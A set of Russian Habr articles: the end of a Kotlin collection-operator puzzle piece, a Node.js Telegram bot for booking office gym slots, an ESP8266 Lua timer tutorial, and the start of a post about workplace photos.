[Проверить в Kotlin Playground](https://play.kotlinlang.org/#eyJ2ZXJzaW9uIjoiMS43LjAiLCJwbGF0Zm9ybSI6ImphdmEiLCJhcmdzIjoiIiwibm9uZU1hcmtlcnMiOnRydWUsInRoZW1lIjoiaWRlYSIsImNvZGUiOiJmdW4gbWFpbigpIHtcblx0bGlzdE9mKDEsIDMsIDMsIDIsIDQsIDEpXG4gICAgICAgLm1hcCB7IDggfVxuICAgICAgIC5hdmVyYWdlKClcbiAgICAgICAubGV0IHsgcHJpbnRsbihpdCkgfS8vPTguMFxufSJ9)
Задача 6.
```
listOf(1, 3, 3, 2, 4, 1)
.filterIndexed { index, value ->
index % 2 == 0
}
.sum()
.let { println(it) }//=8
```
В этом случае находим сумму из чисел с четными индексами, то есть из списка **listOf(1, 2, 4)**.
[Проверить в Kotlin Playground](https://play.kotlinlang.org/#eyJ2ZXJzaW9uIjoiMS43LjAiLCJwbGF0Zm9ybSI6ImphdmEiLCJhcmdzIjoiIiwibm9uZU1hcmtlcnMiOnRydWUsInRoZW1lIjoiaWRlYSIsImNvZGUiOiJmdW4gbWFpbigpIHtcblx0bGlzdE9mKDEsIDMsIDMsIDIsIDQsIDEpXG4gICAgICAgLmZpbHRlckluZGV4ZWQgeyBpbmRleCwgdmFsdWUgLT5cbiAgICAgICAgICAgaW5kZXggJSAyID09IDBcbiAgICAgICB9XG4gICAgICAgLnN1bSgpXG4gICAgICAgLmxldCB7IHByaW50bG4oaXQpIH0vLz04XG59In0=)
Задача 7.
```
listOf(1, 3, 3, 2, 4, 1)
.fold(1) { acc, x -> acc * x }
.let { println(it) }//=72
//or
listOf(1, 3, 3, 2, 4, 1)
.reduce { acc, x -> acc * x }
.let { println(it) }//=72
```
Тут из числа 72 видно, что ожидается большой ответ. Также стоит отметить, что нет оператора **sum()**. Самый быстрый способ найти решение – начать перемножать. Этого можно достичь с помощью операторов **fold()** и **reduce().**
[Проверить в Kotlin Playground](https://play.kotlinlang.org/#eyJ2ZXJzaW9uIjoiMS43LjAiLCJwbGF0Zm9ybSI6ImphdmEiLCJhcmdzIjoiIiwibm9uZU1hcmtlcnMiOnRydWUsInRoZW1lIjoiaWRlYSIsImNvZGUiOiJmdW4gbWFpbigpIHtcblx0bGlzdE9mKDEsIDMsIDMsIDIsIDQsIDEpXG4gICAgICAgLmZvbGQoMSkgeyBhY2MsIHggLT4gYWNjICogeCB9XG4gICAgICAgLmxldCB7IHByaW50bG4oaXQpIH0vLz03MlxuLy9vclxuXHRsaXN0T2YoMSwgMywgMywgMiwgNCwgMSlcbiAgICAgICAucmVkdWNlIHsgYWNjLCB4IC0+IGFjYyAqIHggfVxuICAgICAgIC5sZXQgeyBwcmludGxuKGl0KSB9Ly89NzJcbn0ifQ==)
Задача 8.
```
listOf(1, 3, 3, 2, 4, 1)
.getOrNull(7)
.let { println(it) }//=null
```
В этой задаче нужно было вернуть **null**. Самый простой способ это сделать — использовать те операторы, которые в наименовании имеют **…OrNull(),** и подставить туда необходимые для этого условия. Например, вернуть число с индексом больше, чем есть в списке.
[Проверить в Kotlin Playground](https://play.kotlinlang.org/#eyJ2ZXJzaW9uIjoiMS43LjAiLCJwbGF0Zm9ybSI6ImphdmEiLCJhcmdzIjoiIiwibm9uZU1hcmtlcnMiOnRydWUsInRoZW1lIjoiaWRlYSIsImNvZGUiOiJmdW4gbWFpbigpIHtcblx0bGlzdE9mKDEsIDMsIDMsIDIsIDQsIDEpXG4gICAgICAgLmdldE9yTnVsbCg3KVxuICAgICAgIC5sZXQgeyBwcmludGxuKGl0KSB9Ly89bnVsbFxufSJ9)
Задача 9.
```
listOf(1, 3, 3, 2, 4, 1)
.forEach { }
.let { println(it) }//=kotlin.Unit
```
В этой задаче решение состоит в том, чтобы вернуть значение от оператора, который ничего не возвращает, например **forEach { }.**
[Проверить в Kotlin Playground](https://play.kotlinlang.org/#eyJ2ZXJzaW9uIjoiMS43LjAiLCJwbGF0Zm9ybSI6ImphdmEiLCJhcmdzIjoiIiwibm9uZU1hcmtlcnMiOnRydWUsInRoZW1lIjoiaWRlYSIsImNvZGUiOiJmdW4gbWFpbigpIHtcblx0bGlzdE9mKDEsIDMsIDMsIDIsIDQsIDEpXG4gICAgICAgLmZvckVhY2ggeyB9XG4gICAgICAgLmxldCB7IHByaW50bG4oaXQpIH0vLz1rb3RsaW4uVW5pdFxufSJ9)
Задача 10.
```
listOf(1, 3, 3, 2, 4, 1)
.indices
.sum()
.let { println(it) }//=15
```
В этой задаче нужно сложить сумму индексов.
[Проверить в Kotlin Playground](https://play.kotlinlang.org/#eyJ2ZXJzaW9uIjoiMS43LjAiLCJwbGF0Zm9ybSI6ImphdmEiLCJhcmdzIjoiIiwibm9uZU1hcmtlcnMiOnRydWUsInRoZW1lIjoiaWRlYSIsImNvZGUiOiJmdW4gbWFpbigpIHtcblx0bGlzdE9mKDEsIDMsIDMsIDIsIDQsIDEpXG4gICAgICAgLmluZGljZXNcbiAgICAgICAuc3VtKClcbiAgICAgICAubGV0IHsgcHJpbnRsbihpdCkgfS8vPTE1XG59In0=)
Задача 11.
```
listOf(1, 3, 3, 2, 4, 1)
.take(0)
.first()
.let { println(it) }//=java.util.NoSuchElementException
```
Эта задача похожа на задачу 8. То есть нужно каким-то способом вернуть то, чего нет в списке, а конкретно – первый элемент. Так как тут стоит именно **first()**, а не **firstOrNull(),** то возникнет ошибка. Простой способ сделать список пустым — это **take(0).**
[Проверить в Kotlin Playground](https://play.kotlinlang.org/#eyJ2ZXJzaW9uIjoiMS43LjAiLCJwbGF0Zm9ybSI6ImphdmEiLCJhcmdzIjoiIiwibm9uZU1hcmtlcnMiOnRydWUsInRoZW1lIjoiaWRlYSIsImNvZGUiOiJmdW4gbWFpbigpIHtcblx0bGlzdE9mKDEsIDMsIDMsIDIsIDQsIDEpXG4gICAgICAgLnRha2UoMClcbiAgICAgICAuZmlyc3QoKVxuICAgICAgIC5sZXQgeyBwcmludGxuKGl0KSB9Ly89amF2YS51dGlsLk5vU3VjaEVsZW1lbnRFeGNlcHRpb25cbn0ifQ==)
Задача 12.
```
listOf(1, 3, 3, 2, 4, 1)
.mapIndexed { index, value ->
index + value
}
.sum()
.let { println(it) }//=29
```
В данном случае находится сумма всех чисел и их индексов.
[Проверить в Kotlin Playground](https://play.kotlinlang.org/#eyJ2ZXJzaW9uIjoiMS43LjAiLCJwbGF0Zm9ybSI6ImphdmEiLCJhcmdzIjoiIiwibm9uZU1hcmtlcnMiOnRydWUsInRoZW1lIjoiaWRlYSIsImNvZGUiOiJmdW4gbWFpbigpIHtcblx0bGlzdE9mKDEsIDMsIDMsIDIsIDQsIDEpXG4gICAgICAgLm1hcEluZGV4ZWQgeyBpbmRleCwgdmFsdWUgLT5cbiAgICAgICAgICAgaW5kZXggKyB2YWx1ZVxuICAgICAgIH1cbiAgICAgICAuc3VtKClcbiAgICAgICAubGV0IHsgcHJpbnRsbihpdCkgfS8vPTI5XG59In0=)
Задача 13.
```
listOf(1, 3, 3, 2, 4, 1)
.flatMap { 0.rangeTo(it) }
.sum()
.let { println(it) }//=27
```
Эта задача довольно сложная. Здесь нужно вернуть сумму каждого значения в списке и его предшествующим, начиная с 1. То есть для 1: 1, для 3: 1+ 2+ 3, для 2: 1+ 2 и так далее.
[Проверить в Kotlin Playground](https://play.kotlinlang.org/#eyJ2ZXJzaW9uIjoiMS43LjAiLCJwbGF0Zm9ybSI6ImphdmEiLCJhcmdzIjoiIiwibm9uZU1hcmtlcnMiOnRydWUsInRoZW1lIjoiaWRlYSIsImNvZGUiOiJmdW4gbWFpbigpIHtcblx0bGlzdE9mKDEsIDMsIDMsIDIsIDQsIDEpXG4gICAgICAgLmZsYXRNYXAgeyAwLnJhbmdlVG8oaXQpIH1cbiAgICAgICAuc3VtKClcbiAgICAgICAubGV0IHsgcHJpbnRsbihpdCkgfS8vPTI3XG59In0=)
Задача 14.
```
listOf(1, 3, 3, 2, 4, 1)
.distinctBy { it % 3 }
.sum()
.let { println(it) }//=6
```
Эта задача, с моей точки зрения, самая сложная. До ее решения непросто догадаться. Тут нужно найти сумму уникальных чисел, но не всех, а меньше 4. Уникальных чисел у нас всего 4: 1, 2, 3, 4. Однако остаток от деления на 3 у числа 4 равен 1. Так же как и у 1. Поэтому число 4 исключается из списка.
[Проверить в Kotlin Playground](https://play.kotlinlang.org/#eyJ2ZXJzaW9uIjoiMS43LjAiLCJwbGF0Zm9ybSI6ImphdmEiLCJhcmdzIjoiIiwibm9uZU1hcmtlcnMiOnRydWUsInRoZW1lIjoiaWRlYSIsImNvZGUiOiJmdW4gbWFpbigpIHtcblx0bGlzdE9mKDEsIDMsIDMsIDIsIDQsIDEpXG4gICAgICAgLmRpc3RpbmN0QnkgeyBpdCAlIDMgfVxuICAgICAgIC5zdW0oKVxuICAgICAgIC5sZXQgeyBwcmludGxuKGl0KSB9Ly89NlxufSJ9)
Заключение
----------
Ученый-информатик [Дональд Кнут](https://ru.wikipedia.org/wiki/%D0%9A%D0%BD%D1%83%D1%82,_%D0%94%D0%BE%D0%BD%D0%B0%D0%BB%D1%8C%D0%B4_%D0%AD%D1%80%D0%B2%D0%B8%D0%BD) утверждает, что решение логических задач выделяет гормоны, которые повышают уровень счастья. Надеюсь, с вами это произошло!
**Поделитесь в комментариях – удалось ли вам решить все задачи?** Возможно, вы нашли что-то новое, чего раньше знали об операторах, либо не придавали этому значения?
Если вы заметили ошибку, также напишите в об этом комментариях. Там же вы можете предложить более интересные решения, если их удалось найти.
|
https://habr.com/ru/post/674040/
| null |
ru
| null |
# Telegram-бот как фитнес-менеджер во время пандемии
С приходом коронавируса мир сошел с ума и появилась куча ограничений, которые полностью поменяли нашу жизнь. Меня зовут Эмиль Фролов, я руковожу разработкой команды внутренних сервисов в ДомКлике и сегодня я поделюсь с читателями историей про создание бота, который помог нам справиться с некоторыми тяготами ковид-ограничений.
Наша компания — одна из тех, которые стараются сделать жизнь своих сотрудников максимально комфортной. В офисе есть практически всё: столовые, кофейни, куча мест для отдыха и спортзал со свободным посещением. Вот о нем мы сегодня и поговорим. В период пандемии одним из ограничений было определенное количество людей, единовременно присутствующих в спортзале. Было создано приложение, в котором можно записаться на определенное время, **если есть места**.
Сначала всё было хорошо и мест всем хватало, но по мере выхода людей в офис мест больше не становилось, и запись в зал превратилась в попытки поймать момент, когда освободится местечко. Как говорится, лень — двигатель прогресса: почти сразу как, начались трудности с запись, пришла в голову идея создать бота, который будет это делать за меня.
> Некоторые пункты могут показаться кому-то очевидными, но я их всё равно тут оставлю для тех, кто сталкивается с Telegram-ботом впервые.
Как и в любом рецепте, начнем со списка ингредиентов:
1. самый простенький виртуальный сервер (цена вопроса рублей 150/мес);
2. клиент Telegram;
3. Node js;
4. любая IDE.
#### Шаг 1 (получаем токен)
Заходим в Telegram, пишем в поиске @botfather, а дальше следуем его инструкциям:
После того, как вы всё сделали, вам выдают токен. На этом Telegram можно отложить в сторонку, а токен нам понадобится чуть позже.
#### Шаг 2 (готовим API)
Этот шаг я подробно описывать не буду, так как у вас может быть любой другой API. Не долго думая, я зашел на сервис, предоставляющий бронь, провел реверс-инжиниринг и получил все нужные методы API для авторизации, получения списка свободных слотов и их бронирования.
Всего три метода:
1. получение токена по логину и паролю (этот метод резервный);
2. получение списка слотов по дате;
3. резервирование места.
#### Шаг 3 (пишем бота)
Есть куча библиотек для ботов. Я выбрал [вот такую](https://github.com/yagop/node-telegram-bot-api), у ребят прекрасная документация и практически нет критических issue.
Создаём бота, тут всё достаточно просто:
```
// Подключаем бота
const TelegramBot = require('node-telegram-bot-api');
// Создаем инстанс, передаем туда токен полученый в самом начале
const bot = new TelegramBot(constants.token, {polling: true});
// Регистрируем быстрые команды
bot.setMyCommands([
{
command: '/auth',
description: 'Авторизация. /auth ${token}'
},
{
command: '/start',
description: 'Старт вотчеров'
},
{
command: '/list',
description: 'Получить список вотчеров'
},
]);
```
Дальше пройдемся последовательно по всему алгоритму. Я хотел дать своим коллегам возможность пользоваться функциональностью бота, поэтому добавил, на мой взгляд, самую безопасную из всех имеющихся — возможность авторизации по токену:
```
// слушаем ввод команды "/auth ${token}"
bot.onText(/\/auth/, async (msg) => {
try {
// Парсим эти данные
const token = msg.text.split(' ')[1];
const chatId = msg.chat.id;
// Дальше если все введено корректно добавляем их в файл
if (token && token.length !== 0) {
const tokens = JSON.parse(await fs.readFile('./store/tokens.json', 'utf-8'));
const data = {
...tokens,
[chatId]: token
};
await fs.writeFile('./store/tokens.json', JSON.stringify(data));
await bot.sendMessage(chatId, 'token registered');
}
} catch (e) {
console.log(e);
}
});
```
Дальше регистрируем основную нашу команду:
```
bot.onText(/\/start/, async (msg) => {
try {
const chatId = msg.chat.id;
// Тут мы получаем список слотов на текущую неделю (рассмотрим этот метод ниже)
const days = helpers.getCurrentWeek();
// Отправляем шаблонное "красивое" сообщение
await bot.sendMessage(chatId, 'На какое число посмотреть расписание?', {
"reply_markup": {
"inline_keyboard": days
},
})
// Удаляем /start чтоб не было мусора
await bot.deleteMessage(chatId, msg.message_id);
} catch (e) {
console.log(e);
}
});
```
Дальше получаем даты, на которые можно подписаться:
```
const getCurrentWeek = () => {
// Размер, в целом, не важен, поэтому подключаем момент и не заморачиваемся
const currentDate = moment();
// Берем начало текущей недели
const weekStart = currentDate.clone().startOf('isoWeek');
const days = [];
// Ну и формируем даты +- от начала текущей недели, это по своему предпочтению
for (let i = -7; i <= 12; i++) {
const day = moment(weekStart).add(i, 'days');
days.push([{
// Это текст в элементе
text: day.format("DD"),
// Вот этот кусок нужен, чтобы можно было корректно отреагировать на нажатие
// Так как это поле доступно как строка, заворачиваем JSON в строку (лучше ничего не придумал)
callback_data: JSON.stringify({
data: day.format('YYYY-MM-DD'),
id: constants.WEEK_DAY
})
}]);
}
return days;
}
```
В итоге пишем `/start` и получаем:
Дальше нужно обработать выбор даты, для этого регистрируем обработчик коллбеков:
```
bot.on('callback_query', async (query) => {
try {
// Получаем всё, что нужно для обработки нажатия
const {message: {chat, message_id} = {}, data} = query
// Разворачиваем JSON обратно и получаем всю мету
const callbackResponse = JSON.parse(data);
// Наводим красоту
await bot.deleteMessage(chat.id, message_id);
// По вхождению коллбека разбиваем тело на команды
if (callbackResponse.id === constants.WEEK_DAY) {
const day = callbackResponse.data;
// Формируем и отправляем список слотов на текущий день. Подробнее ниже.
await sendEventsList(chat.id, message_id, day);
}
} catch (e) {
console.log(e);
}
});
```
Получение и отправка слотов:
```
const sendEventsList = async (chatId, messageId, day) => {
try {
// Просто метод, который дергает метод по токену и дате
const eventsList = await api.getEventsTimesList(day);
if (eventsList && eventsList.length === 0) {
await bot.sendMessage(chatId, 'На эту дату нет тренировок');
} else {
// Формируем шаблон тренировок на выбранную дату
const keyboardList = eventsList.map((listItem) => ([{
text: `${listItem.time} Мест: ${listItem.free}`,
callback_data: JSON.stringify({
day,
data: listItem.time,
id: constants.EVENTS_LIST
})
}]));
// Отправляем сообщение пользователю
await bot.sendMessage(chatId, 'За каким временем следить?', {
"reply_markup": {
"inline_keyboard": keyboardList
},
})
}
} catch (e) {
console.log(e);
}
};
```
Получаем вот такую красоту:
Пришлось немного поломать голову при проектировании дерева вотчеров, так как за ними нужно много следить, удалять старые, неактивные, привязывать их к человеку и т. д.
Обработаем выбор даты:
```
bot.on('callback_query', async (query) => {
try {
const {message: {chat, message_id} = {}, data} = query
const callbackResponse = JSON.parse(data);
await bot.deleteMessage(chat.id, message_id);
const watchers = await fs.readFile('./store/meta.json', 'utf-8');
if (callbackResponse.id === constants.EVENTS_LIST) {
// Тут, на мой взгляд, происходит самое интересное
// Мы присваиваем новое событие конкретному пользователю
const eventsWatchers = merge(
JSON.parse(watchers),
{
[chat.id]: {
[callbackResponse.day]: {
[callbackResponse.data]: true
}
}
}
);
// Обновляем файл меты
await fs.writeFile('./store/meta.json', JSON.stringify(eventsWatchers));
// Сразу проверяем возможность записи
// По сути, всё, что мы будем делать дальше, это постоянно дергать этот метод
checkEvents(eventsWatchers);
}
} catch (e) {
console.log(e);
}
});
```
Рассмотрим метод проверки наличия мест:
```
const checkEvents = async (eventsWatchers) => {
// Вотчеры получаются так
// const watchers = await fs.readFile('./store/meta.json');
const chats = Object.keys(eventsWatchers);
// Тут мы получаем список дат и слотов для каждой даты, если они есть
const activeDays = helpers.getActiveDays(eventsWatchers);
// Берем каждую дату
Object.keys(activeDays).forEach(async (day) => {
// Получаем список запрашиваемых слотов для этой даты
const times = activeDays[day];
// Проходимся по пользователям
chats.forEach(async (chat) => {
// Запрашиваем список слотов для текущей даты
const eventsList = await api.getEventsTimesList(day);
if (eventsList) {
eventsList.forEach(async (event) => {
// Проверяем, есть ли слоты на текущее время
if (times.indexOf(event.time) !== -1 && event.free !== 0) {
try {
// Проверяем, есть ли в эту дату подписки на слот
if (eventsWatchers[chat][day]) {
const chatTimes = Object.keys(eventsWatchers[chat][day]);
// Проверяем, подписан ли пользователь на этот слот
if (chatTimes.indexOf(event.time) !== -1) {
const tokens = JSON.parse(await fs.readFile('./store/tokens.json', 'utf-8'));
// Берем токен пользователя
const token = tokens[chat];
// Букаем слот
const resp = await api.bookEvent(event.bookId, token)
// Удаляем подписку у пользователя
helpers.deleteWatcher(event.time, day, chat);
// Говорим пользователю, что он записан на тренировку
bot.sendMessage(chat, `Вы записаны на ${day} ${event.time}`);
}
}
}catch (e) {
console.log('Book error', e);
bot.sendMessage(chat, `Ошибка записи. Попробуйте обновить токен`);
}
}
});
}
})
})
}
```
Я не претендую на идеальное решение, но оно работает стабильно и экономит кучу времени. Тут есть огромное поле для фантазии, например получение текущих подписок с возможностью удаления и т. д. Принцип один и тот же.
#### Шаг 4 (сервер)
Для серверной части я арендовал самый дешевый виртуальный сервер. Поставил туда NodeJS (как это сделать, в сети полно информации). В качестве демона использовал [PM2](https://github.com/Unitech/pm2), он максимально просто ставится и настраивается. Дальше просто выполнил `pm2 start index.js` (пример), и всё готово. Логи есть, демон есть, на текущий момент аптайм около двух месяцев.
#### Заключение
Чтобы это всё сделать, пришлось покопаться в интернетах. Я постарался собрать в этой статье всё самое необходимое для написания практически любого бота. Мой бот до сих пор исправно служит, правда, в связи с новой волной пандемии потребность в нем отпала. Спасибо за внимание.
|
https://habr.com/ru/post/529440/
| null |
ru
| null |
# Esp8266 и Lua: первые шаги
Так сложилось, что проект NodeMCU Lua появился раньше, чем модули ESP8266 были "захвачены" ардуино сообществом. Думаю, эта ситуация длилась даже более года.
Мне сразу понравился этот модуль и я начал пытаться изучать его в начале 2015 года, имея опыт создания аж одного проекта на Ардуино. То есть, ни к электронике ни к программированию я отношения не имею. Просто люблю делать полезные самоделки для дома. Модуль ESP8266 отлично для этого подходил, но приличной документации в то время по нему не было, поэтому опыт приобретался методом проб и ошибок, изучения доступного чужого кода.
Через некоторое время документация появилась и стала пополняться по адресу <https://nodemcu.readthedocs.io/en/dev/>
Надо заметить, что язык Lua хорош тем, что он может быть изучен [всего по одной книге](https://www.litres.ru/robertu-ieruzalimski/). Отсутствие выбора иногда совсем неплохо. Да и книга невелика - вполне доступна для самоделкина, тем более и читать всю ее необходимости нет: вполне достаточно одолеть первые 15 глав, что в объеме не превышает 200 страниц.
... однако. После прочтения у ардуинщика, меня, в частности, не возникает понимания как писать программы для ESP8266. Привычка мыслить категорией loop(а) не дает возможности "увидеть" будущую структуру программы, которая, на самом деле, куда проще.
Все дело в том, что "[The NodeMCU runtime implements a non-blocking threaded model that is similar to that of node.js, and hence most Lua execution is initiated from event-triggered callback (CB) routines](https://nodemcu.readthedocs.io/en/dev/nodemcu-lrm/#the-application-program-interface)". То есть, программирование на Lua для ESP8266 асинхронное и событийное. В общем, голова должна работать не так, как привык адруинщик.
Попробую в этой заметке рассказать о первых шагах в написании кода на Lua для ESP.
Пропустим ряд вещей, которые достаточно полно раскрыты во многих местах и [перечислены здесь](https://nodemcu.readthedocs.io/en/dev/getting-started/#getting-started-aka-nodemcu-quick-start): добыча firmweare, прошивка модуля, основы работы с ним через [ESPLorer](https://esp8266.ru/esplorer/). Начнем непосредственно с программирования и изучения таймеров.
Итак, коль скоро в программе нет loop, а некоторые события должны происходить в вашем модуле периодически, у NodeMCU Lua есть таймеры - явление, которое **в "нормальном" Lua по умолчанию отсутствует** (зато есть в JavaScript, что в написании кода сильно роднит с ним NodeMCU).
Про таймер все [написано здесь](https://nodemcu.readthedocs.io/en/dev/modules/tmr/), но новичку его логика не всегда очевидна.
1. **Совсем азы.**
Давайте мигать светодиодом. Даже без него самого обойдемся:
```
print('Write Pin '..0)
print('Write Pin '..1)
```
вполне достаточно для начала.
Напишем функцию, вызов которой будет "управлять" светодиодом:
```
do
data = 0
function myled()
-- типа тренарного оператора:
data = data == 0 and 1 or 0
print('Write Pin '..data)
end
end
```
Проверяем, как это работает с модулем:
Итак, наш "вместо\_loop" таймер создается:
```
mytimer = tmr.create() -- создаем объект Timer
```
Что должен делать таймер? Периодически вызывать функцию myled()
Организуем его деятельность целиком:
```
-- То что пишем в пин:
data = 0
-- Как часто мигаем, мс:
blinktime = 1000
-- Создали таймер:
mytimer = tmr.create()
-- Регистрируем три аргумента таймера, (1) как часто вызывается таймер,
-- (2) режим таймера, (3) функция, которая будет вызываться.
mytimer:register(blinktime, tmr.ALARM_AUTO, function(t)
-- знакомая функция
data = data == 0 and 1 or 0
print('Write Pin '..data)
end)
-- Начали:
mytimer:start()
```
Повторю код для копипасты:
```
data = 0
blinktime = 1000
mytimer = tmr.create()
mytimer:register(blinktime, tmr.ALARM_AUTO, function(t)
data = data == 0 and 1 or 0
print('Write Pin '..data)
end)
mytimer:start()
```
Сохраним его в файл "\_smallled.lua" и запустим на выполнение. Код будет работать пока не получит команду на перезагрузку:
Итог азов таймеростроения. Создается объект Timer, который, вполне логично, определяет три аргумента: как часто он срабатывает, режим (мы выбрали самый простой и популярный), функция, которая будет вызываться каждое срабатывание.
**2. Что такое асинхронный режим?**
Срабатывание таймера (вызов им функции) можно представить как событие. Мы можем определить другое событие, и оно будет "жить своей жизнью", независимо от первого.
Наиболее просто это увидеть, если всего лишь повторить наш код, изменив соответствующие переменные:
```
-- file "_smallled2.lua"
---------- Первый таймер -----------
data = 0
blinktime = 1000
mytimer = tmr.create()
mytimer:register(blinktime, tmr.ALARM_AUTO, function(t)
data = data == 0 and 1 or 0
print('Write Pin '..data)
end)
mytimer:start()
-- Независимый от первого второй таймер ----
data2 = 0
blinktime2 = 2000
mytimer2 = tmr.create()
mytimer2:register(blinktime2, tmr.ALARM_AUTO, function(t)
data2 = data2 == 0 and 1 or 0
print('Write Pin2 '..data2)
end)
mytimer2:start()
```
Что же мы получаем:
Два таймера работают независимо, и, главное, мы не предпринимали никаких усилий, чтобы согласовать их.
Безусловно, представленный выше код очень плох, с точки зрения работы с переменными - они лишь глобальные (что есть программный отстой, здесь вообще нужны замыкания), но начинающему/нубу здесь хорошо видно как все действует.
Вызываемые функции могут определять какое угодно (в рамках дозволенного Lua) событие: опрашивать датчики, отправлять данные, etc. Все это будет происходить независимо друг от друга. (Здесь нет извечной проблемы начинающего ардуинщика: у меня есть код А и код В - как их совместить.)
**3. Таймер внимательнее.**
Таймер очень гибкий объект. Его надо изучить в первую очередь и знать достаточно глубоко. Этим займемся.
Таймер создается вызовом:
```
mytimer = tmr.create()
```
Определяем чем и как он будет заниматься:
```
mytimer:register(5000, tmr.ALARM_SINGLE, function(t) print("Я таймер!") end)
```
**Первый аргумент** - через какое время вызывается функция, миллисекунды.
**Второй аргумент** описывается так:
```
tmr.ALARM_SINGLE -- одиночный вызов, этот таймер не требует его уничтожения,
-- он самоуничтожается после срабатывания, НО ЗДЕСЬ ЕСТЬ ОДНА ХИТРОСТЬ!!!
tmr.ALARM_SEMI -- каждый раз требует вызова, чтобы запуститься вновь
tmr.ALARM_AUTO -- раз запустили - и буде работать.
```
**Третий аргумент** - функция для вызова. Кстати, вы заметили, что она никак не называется (что вполне логично)? Таки это и есть **страшная** (для понимания ардуинщика) **анонимная функция**, которая в других языках может называться лямбда-функция.
В нашем примере это простая функция. В серьезной программе здесь может быть очень сложное явление, состоящее из многих операторов, вызовов функций, и даже вложенных таймеров. Поэтому обратимся к другому способу ее определения.
Вызываемую функцию можно написать отдельно, а в таймер передать лишь ссылку на нее. Вот так:
```
do
function askedbytimer()
print("Я таймер!")
end
mytimer:register(5000, tmr.ALARM_SINGLE, askedbytimer)
end
```
Все очень просто. Ну, не скажите! Теперь анонимная функция превратилась в не менее страшную **callback-функцию** "askedbytimer()". То есть, это функция, которая передается другой функции для вызова. Мы "вытащили" из таймера функцию, и передали ему лишь ее имя - оно же ссылка.
Дальше таймер можно запустить:
```
tmr.start(mytimer)
-- или
mytimer:start()
```
Можно остановить:
```
tmr.stop(mytimer)
-- или
mytimer:stop()
```
Можно поменять интервал:
```
mytimer:interval(3000)
```
После остановки таймер можно уничтожить (смотри следующий раздел!!! Хитрость там):
```
-- не лучший вариант, но иногда (а не постоянно) можно:
tmr.stop(mytimer) -- останавливаем
tmr.unregister(mytimer) -- удаляем регистрацию того, чем он занимался
mytimer = nil -- удаляем ссылку на таймер
```
Таймер можно создать анонимным, если в программе он будет работать постоянно.
Анонимный таймер, также, полезен во многих случаях, когда требуется совершить некую последовательность действий через интервал внутри функции. Например, опрос многих датчиков заключается в передаче им команды на обработку данных, чтение из них должно происходить через некоторое время. Тот же популярный DS18b20 в максимальном разрешении требует остановки в 750 миллисекунд перед запросом данных.
Анонимный таймер запускается в момент создания, ибо внешней ссылки на него не создается и "подтолкнуть" снаружи его не возможно:
```
do
function askedbytimer()
print("Я таймер!")
end
tmr.create():alarm(5000, tmr.ALARM_AUTO, askedbytimer)
end
```
Эта конструкция бесконечно вызывает callback функцию.
**4. Внутренняя ссылка на таймер**.
А теперь очень важная особенность - в вызываемую функцию таймер передает ссылку на себя. Эта ссылка делает работу с таймером еще гибче (особенно с анонимным), но, одновременно, может принести и головную боль, в виде пожирания памяти (будем так считать, на самом деле все еще сложнее, но на практике это знание не очень важно).
О чем речь. Вернемся к регистрации таймера:
```
mytimer = tmr.create()
mytimer:register(5000, tmr.ALARM_AUTO, function(t)
print('Я таймер!')
end)
```
Функция здесь имеет обязательный аргумент "**t**". Это тоже ссылка на тот таймер, на который ссылается и "**mytimer**".
Напомню, что в Lua все объекты самостоятельны и не привязаны к ссылкам на них. Если на объект отсутствуют (удалены) все ссылки, то он уничтожается сборщиком мусора. Если остается хоть одна ссылка - объект продолжает находиться в памяти.
Последнее важно иметь в виду, если вы собираетесь уничтожать таймер. И это происходит чаще, чем кажется на первый взгляд. Тот же опрос датчика, произведенный через некоторое время после получения им команды на чтение данных, требует таймер. Но оный не нужен, когда опрос осуществлен. Модуль, содержащий таймер, будет выгружен из памяти, а вот таймер перед этим, следует удалить правильно. Вернемся к практике.
Сначала пример использования внутренней ссылки:
```
flag = true
mytimer = tmr.create()
mytimer:alarm(5000, tmr.ALARM_AUTO, function(t)
if not flag then t:stop(); return end
print('Я таймер!')
end)
```
Если флаг "**flag**" изменил свое состояние на "**false"** - таймер останавливается через внутреннюю ссылку. По внешней ссылке мы можем запустить его вновь:
```
mytimer:start()
```
Вот вам управление миганием информационного светодиода, например.
А теперь как таймер самоуничтожается:
```
flag = true
mytimer = tmr.create()
mytimer:alarm(5000, tmr.ALARM_AUTO, function(t)
if not flag then
-- останавливаем
t:stop()
-- прекращаем регистрацию
t:unregister()
-- удаляем внутреннюю и внешние ссылки
t, mytimer = nil, nil
return
end
print('Я таймер!')
end)
```
Удалять таймер нужно именно так. Остановка и удаление таймера через внешнюю ссылку не уничтожит таймер как объект. Прекращение регистрации уменьшит занимаемый им объем памяти, но объект останется все равно.
Или если применяется callback:
```
flag = true
mytimer = tmr.create()
function askedbytimer(t)
if not flag then
t:stop()
t:unregister()
t, mytimer = nil, nil
return
end
print("Я таймер!")
end
mytimer:alarm(5000, tmr.ALARM_AUTO, askedbytimer)
```
Если режим таймера "**tmr.ALARM\_SINGLE** " то уничтожение будет таким:
```
mytimer = tmr.create()
function askedbytimer(t)
t, mytimer = nil, nil
print("Killed!")
end
mytimer:alarm(1000, tmr.ALARM_SINGLE , askedbytimer)
-- или уничтожаем анононимный таймер
tmr.create():alarm(2000, tmr.ALARM_SINGLE , function(t)
t = nil -- Обязательно!
print('Killed!')
end)
```
Заметим, что в некоторых случаях я показывал аргумент "t" (его можно называть как угодно, товарищ новичок) в функциях таймера, в некоторых - нет. Lua не требует выделять память под аргументы, которые могут передаваться функции, но при этом не нужны ей. Как теперь ясно, если вы планируете внутреннее управление таймером или его уничтожение - аргумент объявлять обязательно. Если таймер будет тикать и тикать всю программу - такой необходимости нет.
**Итого**.
Эта заметка написана чайником для чайников. В ней рассмотрены азы написания программы на Lua, показаны кое-какие особенности таймера, затронуты вопросы неведомых ардуинщику, но совсем нестрашных анонимных и callback функций. (Меня эти слова, поначалу, вводили в замешательство.)
Lua гораздо проще и гораздо компактнее языка Ардуино С++, но старт с ним требует ряда усилий. В какой-то момент loop-видение исчезает, и возвращаться к нему уже нет желания.
На Lua я сделал гораздо больше DIY проектов, чем на Ардуино, все они для автоматизации дома. Это действительно язык самодельщика.
Если эта тема кого-то заинтересует, можно ее и продолжить, например, разбором публикации данных какого-нибудь датчика. Хотя, как мне видится, сейчас мир DIY захватывают не желающие программировать, а потребители ESPEasy, Tasmota, ESPHome, еtс.
|
https://habr.com/ru/post/566756/
| null |
ru
| null |
# Фотографии рабочих мест хабражителей и…
[](http://upload.4tree.ru/data/u11/06-2013/clip_5888_f62d3154.jpg)
Хабражители редко ходят друг к другу в гости. И, в то же самое время, хотят взглянуть на то, как устроились другие. Может быть, даже, позаимствовать разные интересности.
